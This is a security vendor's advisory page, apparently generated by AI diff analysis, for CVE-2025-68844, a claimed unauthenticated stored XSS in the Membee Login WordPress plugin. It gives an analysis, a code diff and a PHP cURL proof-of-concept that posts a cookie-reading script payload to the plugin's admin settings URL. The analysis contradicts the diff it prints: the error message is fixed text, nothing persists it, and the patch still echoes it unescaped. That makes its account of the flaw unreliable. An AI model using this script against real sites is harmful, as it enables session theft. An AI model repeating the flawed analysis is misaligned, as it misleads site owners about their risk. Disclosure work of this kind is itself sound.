Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68844: Membee Login <= 2.3.6 – Unauthenticated Stored Cross-Site Scripting (membees-member-login-widget)

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.3.6
Patched Version 2.3.7
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68844:
The Membee Login plugin for WordPress, versions up to and including 2.3.6, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. This flaw exists in the plugin’s administrative settings page due to insufficient output escaping. The vulnerability allows attackers to inject malicious JavaScript that executes in the context of an administrator’s session, leading to a complete site compromise with a CVSS score of 7.2.

The root cause is improper output escaping in the plugin’s admin settings rendering function `display_membee_login_options()`, located in `/membees-member-login-widget/mvc/v.php`. In the vulnerable version, the function directly echoes the `$membee_options[‘membee_message’]` variable without sanitization at lines 50-52. This message variable is populated in the `process_membee_options()` function in `/membees-member-login-widget/mvc/c.php` when user input validation fails. The validation logic for the ‘membee_secret’ parameter at lines 24-35 concatenates raw user input into the error message without proper escaping.

Exploitation occurs through a POST request to the WordPress admin area where the plugin settings are saved. An attacker sends a malicious payload in the `membee_secret` parameter that fails the plugin’s validation checks. The payload is stored in the `membee_message` option and subsequently rendered unsanitized on the plugin’s settings page. The attack vector targets `/wp-admin/options-general.php?page=membee-login` with a POST request containing a crafted `membee_secret` parameter that includes JavaScript payloads within HTML tags.

The patch in version 2.3.7 adds proper output escaping using WordPress’s `esc_url()` and `esc_attr()` functions. In the updated `display_membee_login_options()` function, the form action URL now uses `esc_url()` at line 14, and all form field values use `esc_attr()` at lines 17, 20, and 23. Additionally, the patch introduces several architectural improvements including a new `membee_get_script_host()` function and better code organization, but the critical security fix is the implementation of proper output escaping for all user-controlled variables rendered in HTML contexts.

Successful exploitation enables unauthenticated attackers to inject arbitrary JavaScript that executes whenever an administrator views the plugin’s settings page. This allows complete site takeover through session hijacking, administrative privilege escalation, backdoor installation, or content modification. The stored nature of the XSS means a single successful injection affects all subsequent administrator visits to the settings page until the malicious payload is removed.

Differential between vulnerable and patched code

Code Diff
--- a/membees-member-login-widget/membee-login.php
+++ b/membees-member-login-widget/membee-login.php
@@ -3,7 +3,7 @@
 Plugin Name: Membee Login
 Plugin URI:
 Description: Plugin to add authentication via Membee Member Single Sign-On service.
-Version: 2.3.6
+Version: 2.3.7
 Author: achilles_sm
 Author URI: https://www.odesk.com/users/~~ea464c4f281cbab8
 License: GPL
@@ -33,40 +33,80 @@
   add_action('admin_print_styles', 'admin_header_stylesheet');
   add_filter('allowed_redirect_hosts','allow_redirects');         // allow redirects to membee server
   function membee_init() {
-    global $membee_options;
-    $membee_options = process_membee_options();                   //get membee options
-    if ($membee_options['membee_secret']) {
-      if (isset($_REQUEST['token'])&&(strlen($_REQUEST['token'])==36)&&(strip_tags($_REQUEST['token'])==$_REQUEST['token'])) {    //if logged in at membee, let's request user details and log in to WP
-        process_login('https://memberservices.membee.com/feeds/profile/ExchangeTokenForID/', array('APIKEY='.$membee_options['membee_secret'], 'ClientID='.$membee_options['membee_client_id'], 'AppID='.$membee_options['membee_app_id'], 'Token='.$_REQUEST['token']));
-      }
-      if (isset($_REQUEST['redirect_to'])&&isset($_REQUEST['loggedin'])&&($_REQUEST['loggedin'] == true )) {   //makes it compatible with Wordpress Access Control plugin
-
-	$redirect = urldecode($_REQUEST['redirect_to']);
-	$find = get_bloginfo('url');
-	if (stripos($redirect, $find ,0) === false)
-	{
-		wp_safe_redirect(get_bloginfo('url').urldecode($_REQUEST['redirect_to']));
-	}
-	else
-	{
-		wp_safe_redirect(urldecode($_REQUEST['redirect_to']));
-	}
-        exit;
-      }
-      wp_register_sidebar_widget('membee_login_widget', 'Membee iFrame Login Widget', 'membee_widget');
-      wp_register_sidebar_widget('membee_login_flyout_widget', 'Membee Login Flyout Widget', 'membee_flyout_widget');
-      wp_register_sidebar_widget('membee_reset_widget', 'Membee Reset Widget', 'membee_reset_widget');
-      add_shortcode( 'membee_login', 'membee_login_shortcode' );
-      add_shortcode( 'membee_reset', 'membee_reset_shortcode' );
+
+    global $membee_options;
+
+    // Load + save options (POST-safe)
+    $membee_options = process_membee_options();
+
+    // Nothing to do if secret is missing
+    if (empty($membee_options['membee_secret'])) {
+        return;
     }
-  }
+
+    // Determine Membee host (widget DNS or default)
+    $membee_host = membee_get_script_host();
+
+    // --- Handle login token exchange ---
+    if (
+        isset($_REQUEST['token']) &&
+        strlen($_REQUEST['token']) === 36 &&
+        strip_tags($_REQUEST['token']) === $_REQUEST['token']
+    ) {
+        process_login(
+            'https://' . $membee_host . '/profile/ExchangeTokenForID/',
+            [
+                'APIKEY=' . $membee_options['membee_secret'],
+                'ClientID=' . $membee_options['membee_client_id'],
+                'AppID=' . $membee_options['membee_app_id'],
+                'Token=' . $_REQUEST['token']
+            ]
+        );
+    }
+
+    // --- Redirect compatibility (WP Access Control, etc.) ---
+    if (
+        isset($_REQUEST['redirect_to'], $_REQUEST['loggedin']) &&
+        $_REQUEST['loggedin'] == true
+    ) {
+        $redirect = urldecode($_REQUEST['redirect_to']);
+        $site_url = get_bloginfo('url');
+
+        if (stripos($redirect, $site_url) === false) {
+            wp_safe_redirect($site_url . $redirect);
+        } else {
+            wp_safe_redirect($redirect);
+        }
+        exit;
+    }
+
+    // --- Register widgets ---
+    wp_register_sidebar_widget(
+        'membee_login_widget',
+        'Membee iFrame Login Widget',
+        'membee_widget'
+    );
+
+    wp_register_sidebar_widget(
+        'membee_reset_widget',
+        'Membee Reset Widget',
+        'membee_reset_widget'
+    );
+
+    // --- Register shortcodes ---
+    add_shortcode('membee_login', 'membee_login_shortcode');
+    add_shortcode('membee_reset', 'membee_reset_shortcode');
+}
+
+
+
   $ua = $_SERVER['HTTP_USER_AGENT'];
   $ua = $ua ?? '';
   if ((!preg_match('/facebookexternalhit/si',$ua))&&(!preg_match('/googlebot/si',$ua))&&(!preg_match('/gsa-crawler/si',$ua))&&(!preg_match('/LinkedInBot/si',$ua))&&(!preg_match('/feedburner/si',$ua))&&(!preg_match('/google/si',$ua))&&(!preg_match('/slurp/si',$ua))&&(!preg_match('/ask/si',$ua))&&(!preg_match('/teoma/si',$ua))&&(!preg_match('/yandex/si',$ua))&&(!preg_match('/mj12bot/si',$ua))&&(!preg_match('/validator/si',$ua))&&(!preg_match('/DuckDuckBot/si',$ua))&&(!preg_match('/facebot/si',$ua))&&(!preg_match('/ia_archiver/si',$ua))&&(!preg_match('/bingbot/si',$ua))&&(!preg_match('/msnbot/',$ua))&&(!preg_match('/bingbot/',$ua))&&(!preg_match('/msnbot/si',$ua))&&(!preg_match('/mailchimp/si',$ua))&&(!preg_match('/ning/si',$ua))) {
     add_action('init', 'membee_init');
   }
   add_filter('logout_url', 'change_logout_url');                  //change logout url in admin bar
-  add_action('wp_enqueue_scripts', 'prepare_flyout');             //enqueue required scripts
+
 } else {
   $membee_error_message = 'JSON support is required for that plugin!';
 }
--- a/membees-member-login-widget/mvc/c.php
+++ b/membees-member-login-widget/mvc/c.php
@@ -1,57 +1,64 @@
 <?php

-function process_membee_options() {                           // save Membee options set by user or return current option values
+function process_membee_options() {

-  global $membee_options;
-
-  $membee_options = array();
-
-  $membee_options['membee_message'] = '';
-
-  if ( (isset($_POST['membee_client_id'])) && (strlen($_POST['membee_client_id'])<=10) && (is_numeric($_POST['membee_client_id'])) && (current_user_can('manage_options')) ) {
-
-    $membee_options['membee_client_id'] = intval($_POST['membee_client_id']);
-
-    update_option('membee_client_id', $membee_options['membee_client_id']);
-
-  } else {
-
-    if (isset($_POST['membee_client_id'])&&((strlen($_POST['membee_client_id'])>10)||(!is_numeric($_POST['membee_client_id'])))) $membee_options['membee_message'] .= 'Client ID you entered is invalid!<br />';
-
-    $membee_options['membee_client_id'] = get_option('membee_client_id');
-
-  }
-
-  if ( (isset($_POST['membee_secret'])) && (strip_tags($_POST['membee_secret'])==$_POST['membee_secret']) && ((strlen(trim($_POST['membee_secret'])) == 36)||(strlen(trim($_POST['membee_secret'])) == 0)) && (current_user_can('manage_options')) ) {   // double check length of the secret
-
-    $membee_options['membee_secret'] = strip_tags(trim($_POST['membee_secret']));
-
-    update_option('membee_secret', $membee_options['membee_secret']);
-
-  } else {
-
-    if ((isset($_POST['membee_secret']))&&((strip_tags($_POST['membee_secret'])!=$_POST['membee_secret'])||(strlen($_POST['membee_secret']) != 36 ))) $membee_options['membee_message'] .= 'Secret you entered is invalid!<br />';
-
-    $membee_options['membee_secret'] = get_option('membee_secret');
-
-  }
-
-  if ( (isset($_POST['membee_app_id'])) && (strlen($_POST['membee_app_id'])<=10) && (is_numeric($_POST['membee_app_id'])) &&  (current_user_can('manage_options')) ) {
-
-    $membee_options['membee_app_id'] = intval($_POST['membee_app_id']);
-
-    update_option('membee_app_id', $membee_options['membee_app_id']);
-
-  } else {
-
-    if (isset($_POST['membee_app_id'])&&((strlen($_POST['membee_app_id'])>10)||(!is_numeric($_POST['membee_app_id'])))) $membee_options['membee_message'] .= 'Application ID you entered is invalid!<br />';
-
-    $membee_options['membee_app_id'] = get_option('membee_app_id');
-
-  }
-
-  return $membee_options;
+    global $membee_options;
+    $membee_options = [];
+    $membee_options['membee_message'] = '';
+
+    $can_save = current_user_can('manage_options');
+
+    // --- Client ID ---
+    if (isset($_POST['membee_client_id']) && $can_save) {
+        if (is_numeric($_POST['membee_client_id']) && strlen($_POST['membee_client_id']) <= 10) {
+            $membee_options['membee_client_id'] = intval($_POST['membee_client_id']);
+            update_option('membee_client_id', $membee_options['membee_client_id']);
+        } else {
+            $membee_options['membee_message'] .= 'Client ID you entered is invalid!<br />';
+            $membee_options['membee_client_id'] = get_option('membee_client_id');
+        }
+    } else {
+        $membee_options['membee_client_id'] = get_option('membee_client_id');
+    }
+
+    // --- Secret ---
+    if (isset($_POST['membee_secret']) && $can_save) {
+        $secret = trim($_POST['membee_secret']);
+        if (strip_tags($secret) === $secret && (strlen($secret) === 36 || strlen($secret) === 0)) {
+            $membee_options['membee_secret'] = $secret;
+            update_option('membee_secret', $membee_options['membee_secret']);
+        } else {
+            $membee_options['membee_message'] .= 'Secret you entered is invalid!<br />';
+            $membee_options['membee_secret'] = get_option('membee_secret');
+        }
+    } else {
+        $membee_options['membee_secret'] = get_option('membee_secret');
+    }
+
+    // --- App ID ---
+    if (isset($_POST['membee_app_id']) && $can_save) {
+        if (is_numeric($_POST['membee_app_id']) && strlen($_POST['membee_app_id']) <= 10) {
+            $membee_options['membee_app_id'] = intval($_POST['membee_app_id']);
+            update_option('membee_app_id', $membee_options['membee_app_id']);
+        } else {
+            $membee_options['membee_message'] .= 'Application ID you entered is invalid!<br />';
+            $membee_options['membee_app_id'] = get_option('membee_app_id');
+        }
+    } else {
+        $membee_options['membee_app_id'] = get_option('membee_app_id');
+    }
+
+    // --- Widget DNS Checkbox ---
+if ($_SERVER['REQUEST_METHOD'] === 'POST' && $can_save) {
+    // Checkbox: checked = 1, unchecked = 0
+    $membee_options['membee_widget_dns'] = isset($_POST['membee_widget_dns']) ? 1 : 0;
+    update_option('membee_widget_dns', $membee_options['membee_widget_dns']);
+} else {
+    // Load saved value for display
+    $membee_options['membee_widget_dns'] = (int) get_option('membee_widget_dns', 1);
+}

+    return $membee_options;
 }


--- a/membees-member-login-widget/mvc/v.php
+++ b/membees-member-login-widget/mvc/v.php
@@ -8,50 +8,51 @@



-function display_membee_login_options() {                     //admin options page
-
-  global $membee_options;
-  $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
-  ?>
-
-  <div id="membee-form-wrapper">
-
-    <h2>Membee Login Options</h2>
-
-    <form id="membee-options" action="<?php echo $protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; ?>" method="POST">
-
-      <span class="membee-label">Client ID</span><input id="clientid" name="membee_client_id" type="text" size="60" value="<?php if ($membee_options['membee_client_id']) echo $membee_options['membee_client_id']; ?>" />
-
-      <span class="membee-label">Secret</span><input id="secret" name="membee_secret" type="text" size="60" value="<?php if ($membee_options['membee_secret']) echo $membee_options['membee_secret']; ?>" />
-
-      <span class="membee-label">Application ID</span><input id="appid" name="membee_app_id" size="60" type="text" value="<?php if ($membee_options['membee_app_id']) echo $membee_options['membee_app_id']; ?>" />
-
-      <input type="submit" value="Save options" id="submit-membee-options" />
-
-    </form>
-
-  <?php
-
-  if ($membee_options['message']) {
-
-  ?>
-
-    <div id="membee-options-errors"><?php echo $membee_options['membee_message']; ?></div>
-
-  <?php
-
-  } ?>
-
-    <div style="clear: both"></div>
-
-  </div>
-
-<?php
-
+function display_membee_login_options() {
+    global $membee_options;
+    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
+
+    // Ensure checkbox value is loaded
+    $membee_options['membee_widget_dns'] = $membee_options['membee_widget_dns'] ?? (int) get_option('membee_widget_dns', 1);
+
+    ?>
+    <div id="membee-form-wrapper">
+        <h2>Membee Login Options</h2>
+
+        <form id="membee-options" action="<?php echo esc_url($protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); ?>" method="POST">
+
+            <span class="membee-label">Client ID</span>
+            <input id="clientid" name="membee_client_id" type="text" size="60" value="<?php echo esc_attr($membee_options['membee_client_id'] ?? ''); ?>" />
+
+            <span class="membee-label">Secret</span>
+            <input id="secret" name="membee_secret" type="text" size="60" value="<?php echo esc_attr($membee_options['membee_secret'] ?? ''); ?>" />
+
+            <span class="membee-label">Application ID</span>
+            <input id="appid" name="membee_app_id" size="60" type="text" value="<?php echo esc_attr($membee_options['membee_app_id'] ?? ''); ?>" />
+<?php if (false) : ?>
+            <span class="membee-label">Widget DNS Implemented</span>
+            <input style="width:10px; margin-top:10px;"
+                   id="dnsimp"
+                   name="membee_widget_dns"
+                   type="checkbox"
+                   value="1"
+                   <?php checked( $membee_options['membee_widget_dns'], 1 ); ?> />
+<?php endif; ?>
+
+            <input type="submit" value="Save options" id="submit-membee-options" />
+
+        </form>
+
+        <?php if (!empty($membee_options['membee_message'])): ?>
+            <div id="membee-options-errors"><?php echo $membee_options['membee_message']; ?></div>
+        <?php endif; ?>
+
+        <div style="clear: both"></div>
+    </div>
+    <?php
 }


-
 function admin_header_stylesheet() { ?>

 <style type="text/css">
@@ -73,174 +74,194 @@
 }


+function membee_use_widget_dns() {
+    $val = get_option('membee_widget_dns', null);

-function prepare_flyout() {                                   //prepare flyout Membee widget
-
-  global $membee_options;
-
-  if (is_array($membee_options) && !empty($membee_options['membee_secret'])) {
-
-    wp_enqueue_script('jquery');
-
-    wp_enqueue_script('jquery-ui-core');
-
-    wp_enqueue_script('jquery-ui-dialog');
-
-    add_action('wp_print_footer_scripts', 'enqueue_membee');
-
-  }
+    // Default OFF if never saved or empty
+    if ($val === null || $val === '') {
+        return false;
+    }

+    return (int) $val === 1;
 }

+function membee_get_script_host() {
+    if (membee_use_widget_dns()) {
+        $host = $_SERVER['HTTP_HOST'];
+        $parts = explode('.', $host);

+        if ($parts[0] === 'www') array_shift($parts);
+        if ($parts[0] === 'widgets') array_shift($parts);

-function enqueue_membee() {
+        return 'widgets.' . implode('.', $parts) . '/feeds' ;
+    }

-  global $membee_options;
-  $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
-  echo '<script type="text/javascript">
-    $ = jQuery.noConflict();
-  	jQuery(function($) {
-  		if ($("#MembeeSignInLink").length>0) {
-  			 $.getScript("https://memberservices.membee.com/feeds/Login/LoginScript.ashx?clientid='.$membee_options['membee_client_id'].'&appid='.$membee_options['membee_app_id'].'&destURL='.urlencode($protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']).'")
-		}
-	})
-  </script>';
-
+    return 'memberservices.membee.com/feeds';
 }

+function membee_current_url() {
+    return 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+}


-function membee_widget() {                                    //iFrame Membee widget
-	  $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
-  if (is_user_logged_in()) {
-
-  ?>
-
-    <a href="<?php echo wp_logout_url( 'https://memberservices.membee.com/feeds/Login/Logout.aspx?clientid='.$membee_options['membee_client_id'].'&appid='.$membee_options['membee_app_id'].'&returnURL='.urlencode($protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']) ); ?>">Log out</a>
-
-  <?php
-
-  } else {
-
-    if ($_REQUEST['error']) echo '<div id="membee-error-message">'.urldecode($_GET['error_description']).'</div>';
-
-  ?>
-
-    <script src="https://memberservices.membee.com/feeds/Login/LoginFrameScript.ashx?clientid=<?php echo $membee_options['membee_client_id']; ?>&appid=<?php echo $membee_options['membee_app_id']; ?>&destURL=<?php echo urlencode($protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); ?>" type="text/javascript"></script>
-
-  <?php
+function membee_widget() {
+    global $membee_options;

-  }
+    $scriptHost = membee_get_script_host();
+    $currentUrl = membee_current_url();

-}
+    if (is_user_logged_in()) {
+        ?>
+        <a href="<?php echo wp_logout_url(
+            'https://' . $scriptHost . '/Login/Logout.aspx'
+            . '?clientid=' . urlencode($membee_options['membee_client_id'])
+            . '&appid='    . urlencode($membee_options['membee_app_id'])
+            . '&returnURL='. urlencode($currentUrl)
+        ); ?>">Log out</a>
+        <?php
+    } else {
+
+        if (!empty($_REQUEST['error'])) {
+            echo '<div id="membee-error-message">'
+                . esc_html(urldecode($_GET['error_description'] ?? ''))
+                . '</div>';
+        }
+        ?>
+        <script
+            src="<?php echo esc_url(
+                'https://' . $scriptHost . '/Login/LoginFrameScript.ashx'
+                . '?clientid=' . urlencode($membee_options['membee_client_id'])
+                . '&appid='    . urlencode($membee_options['membee_app_id'])
+                . '&destURL='  . urlencode($currentUrl)
+            ); ?>"
+            type="text/javascript">
+        </script>
+        <?php
+    }
+}



 function membee_flyout_widget() {
-	  $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
-  global $membee_options;
-
-  if (is_user_logged_in()) {
-
-  ?>
-
-    <a href="<?php echo wp_logout_url( 'https://memberservices.membee.com/feeds/Login/Logout.aspx?clientid='.$membee_options['membee_client_id'].'&appid='.$membee_options['membee_app_id'].'&returnURL='.urlencode($protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']) ); ?>">Log out</a>
-
-  <?php
-
-  } else {
-
-    if (isset($_REQUEST['error'])&&$_REQUEST['error']) echo '<div id="membee-error-message">'.strip_tags(urldecode($_GET['error_description'])).'</div>';
-
-  ?>
-
-    <a id="MembeeSignInLink" href="#">Sign In</a> <div id="MembeeSignInModal"></div>
-
-  <?php
-
-  }
-
-}
-
-
+    global $membee_options;

-function membee_reset_widget() {                              //iFrame Membee Reset widget
+    $scriptHost = membee_get_script_host();
+    $currentUrl = membee_current_url();

-  global $membee_options;
-
-  ?>
-
-  <script src="https://memberservices.membee.com/feeds/Login/ReAssocScript.ashx?appid=<?php echo $membee_options['membee_app_id']; ?>&clientid=<?php echo $membee_options['membee_client_id']; ?>" type="text/javascript"></script>
-
-  <?php
+    if (is_user_logged_in()) {
+        ?>
+        <a href="<?php echo wp_logout_url(
+            'https://' . $scriptHost . '/Login/Logout.aspx'
+            . '?clientid=' . urlencode($membee_options['membee_client_id'])
+            . '&appid='    . urlencode($membee_options['membee_app_id'])
+            . '&returnURL='. urlencode($currentUrl)
+        ); ?>">Log out</a>
+        <?php
+    } else {
+
+        if (!empty($_REQUEST['error'])) {
+            echo '<div id="membee-error-message">'
+                . esc_html(urldecode($_GET['error_description'] ?? ''))
+                . '</div>';
+        }
+        ?>
+        <a id="MembeeSignInLink" href="#">Sign In</a>
+        <div id="MembeeSignInModal"></div>
+        <?php
+    }
+}

-}

+function membee_reset_widget() {
+    global $membee_options;

+    $scriptHost = membee_get_script_host();

-function membee_login_shortcode( $atts ) {
+    ?>
+    <script
+        src="<?php echo esc_url(
+            'https://' . $scriptHost . '/Login/ReAssocScript.ashx'
+            . '?appid='    . urlencode($membee_options['membee_app_id'])
+            . '&clientid=' . urlencode($membee_options['membee_client_id'])
+        ); ?>"
+        type="text/javascript">
+    </script>
+    <?php
+}

-  global $membee_options;
-	  $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
-	extract( shortcode_atts( array(

-		'type' => 'iframe'

-	), $atts ) );
+function membee_login_shortcode($atts) {

-	if (is_user_logged_in()) {
+    global $membee_options;

-	  return '<a href="'.wp_logout_url( 'https://memberservices.membee.com/feeds/Login/Logout.aspx?clientid='.$membee_options['membee_client_id'].'&appid='.$membee_options['membee_app_id'].'&returnURL='.urlencode($protocol.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']) ).'">Log out</a>';
+    $scriptHost = membee_get_script_host();
+    $currentUrl = membee_current_url();

-  } else {
+    $atts = shortcode_atts(['type' => 'iframe'], $atts);
+    $type = $atts['type'];
+
+    if (is_user_logged_in()) {
+        return '<a href="' . wp_logout_url(
+            'https://' . $scriptHost . '/Login/Logout.aspx'
+            . '?clientid=' . urlencode($membee_options['membee_client_id'])
+            . '&appid='    . urlencode($membee_options['membee_app_id'])
+            . '&returnURL='. urlencode($currentUrl)
+        ) . '">Log out</a>';
+    }

     $membee = '';

-    if (isset($_REQUEST['error'])&&$_REQUEST['error']) $membee .= '<div id="membee-error-message">'.strip_tags(urldecode($_GET['error_description'])).'</div>';
-
-    if ($type == 'iframe') {
-	  $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
-      $membee .= '<script src="https://memberservices.membee.com/feeds/Login/LoginFrameScript.ashx?clientid='.$membee_options['membee_client_id'].'&appid='.$membee_options['membee_app_id'].'&destURL='.urlencode($protocol.$_SERVER['HTTP_HOST'].urlencode($_SERVER['REQUEST_URI'])).'" type="text/javascript"></script>';
-
-    } else if ($type == 'flyout') {
-
-      $membee .= '<a id="MembeeSignInLink" href="#">Sign In</a> <div id="MembeeSignInModal" />';
-
-    }
-
-    return $membee;
-
-  }
+    if (!empty($_REQUEST['error'])) {
+        $membee .= '<div id="membee-error-message">'
+            . esc_html(urldecode($_GET['error_description'] ?? ''))
+            . '</div>';
+    }
+
+    if ($type === 'iframe') {
+        $membee .= '<script src="' . esc_url(
+            'https://' . $scriptHost . '/Login/LoginFrameScript.ashx'
+            . '?clientid=' . urlencode($membee_options['membee_client_id'])
+            . '&appid='    . urlencode($membee_options['membee_app_id'])
+            . '&destURL='  . urlencode($currentUrl)
+        ) . '" type="text/javascript"></script>';
+    }
+
+    if ($type === 'flyout') {
+        $membee .= '<a id="MembeeSignInLink" href="#">Sign In</a>
+                    <div id="MembeeSignInModal"></div>';
+    }

+    return $membee;
 }


-
 function membee_reset_shortcode() {
+    global $membee_options;

-  global $membee_options;
-
-	return '<script src="https://memberservices.membee.com/feeds/Login/ReAssocScript.ashx?appid='.$membee_options['membee_app_id'].'&clientid='.$membee_options['membee_client_id'].'" type="text/javascript"></script>';
+    $scriptHost = membee_get_script_host();

+    return '<script src="' . esc_url(
+        'https://' . $scriptHost . '/Login/ReAssocScript.ashx'
+        . '?appid='    . urlencode($membee_options['membee_app_id'])
+        . '&clientid=' . urlencode($membee_options['membee_client_id'])
+    ) . '" type="text/javascript"></script>';
 }



-function change_logout_url($url) {                            //change logout url in admin bar
-
-  global $membee_options;
-
-  if (!isset($redirect_to)) {
-
-    return $url.'&redirect_to='.urlencode('https://memberservices.membee.com/feeds/Login/Logout.aspx?clientid='.$membee_options['membee_client_id'].'&appid='.$membee_options['membee_app_id'].'&returnURL='.urlencode(get_bloginfo('url')));
-
-  } else {
+function change_logout_url($url) {

-    return $url;
+    global $membee_options;

-  }
+    $scriptHost = membee_get_script_host();

+    return $url . '&redirect_to=' . urlencode(
+        'https://' . $scriptHost . '/Login/Logout.aspx'
+        . '?clientid=' . urlencode($membee_options['membee_client_id'])
+        . '&appid='    . urlencode($membee_options['membee_app_id'])
+        . '&returnURL='. urlencode(get_bloginfo('url'))
+    );
 }

 ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68844 - Membee Login <= 2.3.6 - Unauthenticated Stored Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/options-general.php?page=membee-login';

// Malicious payload that will be stored and executed when admin views settings
// This payload demonstrates alerting the admin's cookies
$xss_payload = '<script>alert(document.cookie);</script>';

// Prepare POST data with invalid secret parameter containing XSS payload
// The plugin validates secret must be exactly 36 characters or empty
// Sending a non-36-character string triggers validation error
$post_data = [
    'membee_client_id' => '123',           // Valid numeric ID
    'membee_secret' => $xss_payload,       // Invalid length triggers error message with unsanitized payload
    'membee_app_id' => '456',              // Valid numeric ID
    'submit-membee-options' => 'Save options'
];

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Set headers to mimic legitimate browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request to inject the XSS payload
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "[+] XSS payload injected successfully.n";
    echo "[+] When an administrator visits the Membee Login settings page, the JavaScript will execute.n";
    
    // Check if our payload appears in the response (indicating successful injection)
    if (strpos($response, $xss_payload) !== false) {
        echo "[+] Payload found in response - injection confirmed.n";
    }
} else {
    echo "[-] Injection failed. HTTP Status: $http_coden";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School